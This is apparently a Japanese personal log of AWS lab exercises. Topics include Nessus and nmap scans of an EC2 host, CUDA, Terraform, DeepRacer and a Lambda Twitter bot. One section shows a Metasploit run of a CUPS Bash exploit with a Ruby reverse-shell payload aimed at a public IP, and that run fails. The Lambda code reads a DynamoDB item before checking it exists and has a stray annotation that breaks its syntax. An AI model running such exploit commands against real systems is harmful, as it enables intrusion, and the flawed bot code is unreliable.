①Metasploitコンソールの起動

②「cmd/unix/reverse_ruby」を選択することで、ターゲットシステムから攻撃者のシステムに逆接続するリバースシェルを作成します。

 

sudo msfconsole
use exploit/multi/http/cups_bash_env_exec
set PAYLOAD cmd/unix/reverse_ruby
set RHOSTS 35.78.178.173
set RPORT 631
set LHOST 192.168.11.3
set LPORT 4444
exploit
 

 

③実行結果

  • Handler failed to bind to 192.168.11.3:4444:

    • このエラーは、Metasploitのハンドラが指定されたIPアドレスとポートにバインドできなかったことを示しています。これは、指定されたIPアドレスが不正確であるか、既にポートが使用されている可能性があります。
  • Exploit aborted due to failure: unreachable: 35.78.178.173:631 - Could not add printer - Connection failed:

    • このエラーは、ターゲットホスト(35.78.178.173)のポート631に接続できなかったことを示しています。これは、ターゲットホストがダウンしているか、ネットワークの問題があるか、ポートが閉じられている可能性があります。

まとめ

  • Nmap結果: ポート631が「filtered」と表示されているため、ファイアウォールがアクセスをブロックしていることを示しています。
  • 解決方法:
    • セキュリティグループの設定確認: AWSセキュリティグループの設定を確認し、ポート631を開放します。
    • 他のエクスプロイトの検討: 他のサービスやポートに対するエクスプロイトを検討します。

これにより、エクスプロイトが成功する可能性が高まります。

 

 

①AWS上のEC2にNessusの脆弱性をチェックするスキャンを実施

③診断結果

スキャン結果の概要

  • ホストIPアドレス: 35.78.178.173
  • 検出された脆弱性の総数: 17
  • 脆弱性の重要度:
    • Critical: 0
    • High: 0
    • Medium: 0
    • Low: 0
    • Info: 17

この結果から、このホストに重大なセキュリティ脆弱性は見つかっておらず、情報レベルの脆弱性のみが検出されたことがわかります。

各脆弱性の詳細

  1. Backported Security Patch Detection (SSH)

    • Plugin ID: 39520
    • 説明: SSHサービスでバックポートされたセキュリティパッチを検出します。
  2. Common Platform Enumeration (CPE)

    • Plugin ID: 45590
    • 説明: CPE情報を検出します。CPEはシステムやソフトウェアの標準的な識別子です。
  3. Device Type

    • Plugin ID: 54615
    • 説明: デバイスタイプを識別します。
  4. Host Fully Qualified Domain Name (FQDN) Resolution

    • Plugin ID: 12053
    • 説明: ホストのFQDNを解決します。
  5. Nessus SYN scanner

    • Plugin ID: 11219
    • 説明: SYNスキャンを実行します。
  6. Nessus Scan Information

    • Plugin ID: 19506
    • 説明: Nessusスキャンの情報を提供します。
  7. OS Identification

    • Plugin ID: 11936
    • 説明: オペレーティングシステムを識別します。
  8. OS Security Patch Assessment Not Available

    • Plugin ID: 117886
    • 説明: OSセキュリティパッチの評価が利用できません。
  9. OpenSSH Detection

    • Plugin ID: 181418
    • 説明: OpenSSHの検出。
  10. SSH Algorithms and Languages Supported

    • Plugin ID: 70657
    • 説明: SSHでサポートされているアルゴリズムと言語をリストします。
  11. SSH Protocol Versions Supported

    • Plugin ID: 10881
    • 説明: SSHでサポートされているプロトコルバージョンをリストします。
  12. SSH SHA-1 HMAC Algorithms Enabled

    • Plugin ID: 153588
    • 説明: SSHでSHA-1 HMACアルゴリズムが有効になっていることを示します。
  13. SSH Server Type and Version Information

    • Plugin ID: 10267
    • 説明: SSHサーバーの種類とバージョン情報を提供します。
  14. Service Detection

    • Plugin ID: 22964
    • 説明: サービスの検出を行います。
  15. TCP/IP Timestamps Supported

    • Plugin ID: 25220
    • 説明: TCP/IPタイムスタンプがサポートされていることを示します。
  16. Target Credential Status by Authentication Protocol - No Credentials Provided

    • Plugin ID: 110723
    • 説明: 認証プロトコルによるターゲットの資格情報の状態を示します。
  17. Traceroute Information

    • Plugin ID: 10287
    • 説明: Traceroute情報を提供します。

解析と対策

これらの脆弱性はすべて情報レベルであり、重大なセキュリティリスクを直接示すものではありません。しかし、次のステップを実行することで、セキュリティを強化することができます。

  1. SSH設定の確認:

    • SSHの設定を確認し、不必要なアルゴリズムやプロトコルバージョンを無効化します。
    • SSHで使用されるアルゴリズムや言語の設定を最適化します。
  2. OSパッチの適用:

    • OSのセキュリティパッチが適用されているか確認します。評価が利用できない場合は、手動で確認し、最新のパッチを適用します。
  3. サービスの確認:

    • 検出されたサービスのバージョンや設定を確認し、セキュリティベストプラクティスに従って構成します。
  4. Nessusのスキャン設定の最適化:

    • Nessusのスキャン設定を見直し、必要に応じてスキャンポリシーを調整します。

これらの対策を講じることで、システムのセキュリティを強化し、潜在的なリスクを低減することができます。

①EC2インスタンス立ち上げでポートスキャン実施

nmap -A 13.231.253.7

 

②Pingプローブをスキップします

nmap -Pn -A 13.231.253.7

 

スキャン結果の解釈

  1. ホスト情報:

    • Nmap scan report for ec2-13-231-253-7.ap-northeast-1.compute.amazonaws.com (13.231.253.7)
    • ホストがオンラインであることを示しています。
  2. 応答時間:

    • Host is up (0.00044s latency).
    • ホストは応答があり、レイテンシは0.00044秒です。
  3. ポート情報:

    • Not shown: 999 filtered tcp ports (no-response)
    • 999個のTCPポートはフィルタリングされており、応答がありませんでした。
    • フィルタリングされているポートはファイアウォールまたはセキュリティグループによってブロックされています。
  4. 開いているポート:

    • 22/tcp open ssh OpenSSH 8.7 (protocol 2.0)
    • ポート22が開いており、SSHサービスが稼働しています。バージョンはOpenSSH 8.7で、プロトコルは2.0です。

結論

スキャン結果から、ターゲットホスト(13.231.253.7)はオンラインであり、SSHサービス(ポート22)が稼働していることがわかります。その他のポートはフィルタリングされています。これにより、セキュリティグループまたはファイアウォールによって他のポートへのアクセスが制限されていることが示唆されます。

①EC2をCUDA用に作成する

②Anaconda Promptを開いて環境構築

 

新しい環境を作成

conda create -n cuda_env python=3.8
conda activate cuda_env

 

必要なパッケージをインストール

conda install numpy
conda install -c conda-forge numba
conda install -c conda-forge pillow

 

 

③CUDAを利用して画像を白黒(グレースケール)に変換するソースコード。フィル名「convert_to_grayscale.py」

 

from PIL import Image
from numba import cuda
import numpy as np
from tkinter import Tk, filedialog

@cuda.jit
def rgb_to_grayscale_kernel(d_input, d_output, width, height):
    x, y = cuda.grid(2)
    if x < width and y < height:
        r = d_input[y, x, 0]
        g = d_input[y, x, 1]
        b = d_input[y, x, 2]
        gray = 0.299 * r + 0.587 * g + 0.114 * b
        d_output[y, x] = gray

def rgb_to_grayscale(image_array):
    height, width, _ = image_array.shape
    d_input = cuda.to_device(image_array)
    d_output = cuda.device_array((height, width), dtype=np.float32)

    threads_per_block = (16, 16)
    blocks_per_grid_x = (width + threads_per_block[0] - 1) // threads_per_block[0]
    blocks_per_grid_y = (height + threads_per_block[1] - 1) // threads_per_block[1]
    blocks_per_grid = (blocks_per_grid_x, blocks_per_grid_y)

    rgb_to_grayscale_kernel[blocks_per_grid, threads_per_block](d_input, d_output, width, height)
    
    return d_output.copy_to_host()

def main():
    # ファイルダイアログを使用して画像ファイルを選択
    root = Tk()
    root.withdraw()  # Tkinterウィンドウを表示しない
    input_image_path = filedialog.askopenfilename(title='Select an image file', filetypes=[('Image Files', '*.jpg;*.jpeg;*.png')])

    if not input_image_path:
        print("No file selected")
        return

    output_image_path = 'output.jpg'
    
    image = Image.open(input_image_path)
    image_array = np.array(image)
    
    gray_image_array = rgb_to_grayscale(image_array)
    gray_image = Image.fromarray(np.uint8(gray_image_array))

    gray_image.save(output_image_path)
    print(f'Gray image saved to {output_image_path}')

if __name__ == '__main__':
    main()

 

 

④画像を選択する(私のデスクトップにあるサンプル画像)


 

 

⑤CUDAの情報を確認

 

⑥白黒にするPythonファイルを実行

python convert_to_grayscale.py

 

⑦ output.jpgという白黒画像が生成される。

 

以上

 

 

 

①このプロジェクトは、HTML、CSS、およびJavaScriptを使用して構築され、GitHubリポジトリに公開されます。

GitHubにログインします。リポジトリ名を入力します(simple-todo-app0704

 

②ターミナルまたはコマンドプロンプトを開き、リポジトリをクローンします。

 

git clone https://github.com/imai1234354/simple-todo-app0704.git
cd simple-todo-app0704
 

index.html、styles.css、scripts.js ファイルの作成

 

④変更をコミットします。変更をGitHubリポジトリにプッシュします。

⑤GitHubリポジトリにシンプルなTodoアプリケーションを作成し、公開する手順が完了しました。

 



 

①Time trialを選択

 

②Continuous action space を選択する

 

③車種を選択する

 

④AWS DeepRacerのエージェントがトラックの中心線に近づくことを奨励するために使用される報酬関数を設定します。中心線に非常に近い場合に、スピードに基づいて追加の報酬を与えます。これにより、中心線を維持しつつ高いスピードを保つことを奨励します。

 

def reward_function(params):
    '''
    Reward the agent to follow the center line more closely
    '''

    # Read input parameters
    track_width = params['track_width']
    distance_from_center = params['distance_from_center']
    speed = params.get('speed', 1.0)  # Get the speed of the car, default to 1.0 if not provided

    # Calculate 3 markers that are at varying distances away from the center line
    marker_1 = 0.1 * track_width
    marker_2 = 0.25 * track_width
    marker_3 = 0.5 * track_width

    # Initialize reward
    reward = 1e-3  # Small reward by default

    # Give higher reward if the car is closer to center line
    if distance_from_center <= marker_1:
        reward = 1.0
    elif distance_from_center <= marker_2:
        reward = 0.5
    elif distance_from_center <= marker_3:
        reward = 0.1

    # Speed reward adjustment: encourage higher speeds if close to center
    # If the car is very close to the center, boost the reward based on speed
    if distance_from_center <= marker_1 and speed > 2.0:
        reward += 0.5  # Additional reward for maintaining high speed near the center

    # Return the final reward
    return float(reward)
 

 

④10分間構築中

 

⑤機械学習から判別できること

 

  1. エージェントの改善:

    • 緑色の線(平均報酬)が上昇していることから、エージェントがトレーニングを通じて報酬をより多く得られるようになっていることがわかります。これは、エージェントがトラックの中心線をよりうまく追従するようになっていることを示しています。
  2. 完了率の向上:

    • 赤色の線(評価時の平均完了率)が上昇していることから、エージェントがトラックをより完全に走破できるようになっていることがわかります。
  3. トレーニングの進捗:

    • 青色の線(トレーニング中の平均完了率)が一定であることから、トレーニングデータに基づくエージェントのパフォーマンスは安定していることがわかります。

このグラフは、エージェントのパフォーマンスがどのように進化しているかを視覚的に示しており、トレーニングと評価の両方で改善が見られることが確認できます。

 

以上

 

 

 

 

 

 

 

 

 

 

①Cloud9でprovider.tfを作成する

  1. provider "aws" {
  2. region = "ap-northeast-1"
  3. }

 

②cloud9でaws_vpc.tfを作成する

 

  1. #----------------------------------------
  2. # VPCの作成
  3. #----------------------------------------
  4. resource "aws_vpc" "sample_vpc" {
  5. cidr_block = "10.0.0.0/16"
  6. enable_dns_hostnames = true
  7. }
  8.  
  9. #----------------------------------------
  10. # パブリックサブネットの作成
  11. #----------------------------------------
  12. resource "aws_subnet" "sample_subnet" {
  13. vpc_id = aws_vpc.sample_vpc.id
  14. cidr_block = "10.0.1.0/24"
  15. availability_zone = "ap-northeast-1a"
  16. map_public_ip_on_launch = true
  17. }
  18.  
  19. #----------------------------------------
  20. # インターネットゲートウェイの作成
  21. #----------------------------------------
  22. resource "aws_internet_gateway" "sample_igw" {
  23. vpc_id = aws_vpc.sample_vpc.id
  24. }
  25.  
  26. #----------------------------------------
  27. # ルートテーブルの作成
  28. #----------------------------------------
  29. resource "aws_route_table" "sample_rtb" {
  30. vpc_id = aws_vpc.sample_vpc.id
  31.  
  32. route {
  33. cidr_block = "0.0.0.0/0"
  34. gateway_id = aws_internet_gateway.sample_igw.id
  35. }
  36. }
  37.  
  38. #----------------------------------------
  39. # サブネットにルートテーブルを紐づけ
  40. #----------------------------------------
  41. resource "aws_route_table_association" "sample_rt_assoc" {
  42. subnet_id = aws_subnet.sample_subnet.id
  43. route_table_id = aws_route_table.sample_rtb.id
  44. }
  45.  
  46. #----------------------------------------
  47. # セキュリティグループの作成
  48. #----------------------------------------
  49. resource "aws_security_group" "sample_sg" {
  50. name = "sample-sg"
  51. vpc_id = aws_vpc.sample_vpc.id
  52.  
  53. ingress {
  54. from_port = 80
  55. to_port = 80
  56. protocol = "tcp"
  57. cidr_blocks = ["0.0.0.0/0"]
  58. }
  59.  
  60. egress {
  61. from_port = 0
  62. to_port = 0
  63. protocol = "-1"
  64. cidr_blocks = ["0.0.0.0/0"]
  65. }
  66.  
  67. }
 
cloud9でaws_ec2.tfを作成する
  1. #----------------------------------------
  2. # EC2インスタンスの作成
  3. #----------------------------------------
  4. resource "aws_instance" "sample_web_server" {
  5. ami = "ami-09d28faae2e9e7138" # Amazon Linux 2
  6. instance_type = "t2.micro"
  7. subnet_id = aws_subnet.sample_subnet.id
  8. vpc_security_group_ids = [aws_security_group.sample_sg.id]
  9.  
  10. user_data = <<EOF
  11. #! /bin/bash
  12. sudo yum install -y httpd
  13. sudo systemctl start httpd
  14. sudo systemctl enable httpd
  15. EOF
  16.  
  17. }
④$ terraform apply で実行する
Apply complete! Resources: 7 added, 0 changed, 0 destroyed.
と出力されていればapplyは成功しています。
 
⑤AWSマネジメントコンソールのVPC、EC2の画面に遷移し、問題なく構築されていることを確認します。
 
 

 

以上

 

①Cloud9を起動して、パスワードを設定する。

 

sudo passwd ec2-user

 

②事前にHomebrewをインストールします

 

/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install.sh)"

 

 

③brewのパスをセットしておきます。

 

test -d ~/.linuxbrew && PATH="$HOME/.linuxbrew/bin:$HOME/.linuxbrew/sbin:$PATH"
test -d /home/linuxbrew/.linuxbrew && PATH="/home/linuxbrew/.linuxbrew/bin:/home/linuxbrew/.linuxbrew/sbin:$PATH"
test -r ~/.bash_profile && echo "export PATH='$(brew --prefix)/bin:$(brew --prefix)/sbin'":'"$PATH"' >>~/.bash_profile
echo "export PATH='$(brew --prefix)/bin:$(brew --prefix)/sbin'":'"$PATH"' >>~/.profile

 

 

④tfenvをインストールします。

 

brew install tfenv
 

⑤Terraformをインストールします。

 

 

以上

 

①DynamoDBを作成する

  • テーブル名 : TwitterBotDailyMessage
  • パーティションキー : Date
 
②項目を作成

 

③Lambda 関数から DynamoDB テーブルにアクセスする実装を進める

・ AWS SDK for Python (boto3) をインポート & DynamoDB テーブルインスタンスを生成するコードを追加する

・当日日付を YYYYMMDD の形で取得し、それをキーに DynamoDB テーブルから Item を取得するコードを追加する

 

import json
import os
from requests_oauthlib import OAuth1Session
from datetime import datetime, timedelta, timezone

# 追加(1)
import boto3
 
dynamodb = boto3.resource('dynamodb')
twitter_bot_message_table = dynamodb.Table('TwitterBotDailyMessage') 
# 追加(1) - ここまで

JST = timezone(timedelta(hours=+9), 'JST')

# API Key, Access Token 
consumer_key = ''
client_secret = ''
access_token = ''
access_token_secret = ''

oauth = OAuth1Session(consumer_key, client_secret, access_token, access_token_secret)

def lambda_handler(event, context):
    now = datetime.now(JST).strftime("%Y年%-m月%-d日")
    text = 'おはようございます!今日は ' + now + ' です。' # 変更
 
    # 追加(2) -
    date = datetime.now(JST).strftime('%Y%m%d')
    response = twitter_bot_message_table.get_item(Key={'Date': date})
    message = str(response['Item']['Message']) ※型を変換
    if('Item' in response):
        text = text + message
    # 追加(2) - ここまで

    payload = {'text': text}
    response = oauth.post(
        "https://api.twitter.com/2/tweets",
        json=payload,
    )
    if response.status_code != 201:
        raise Exception(
            "[Error] {} {}".format(response.status_code, response.text)
        )

 

④テスト実行し、Twitterを確認

 

 

以上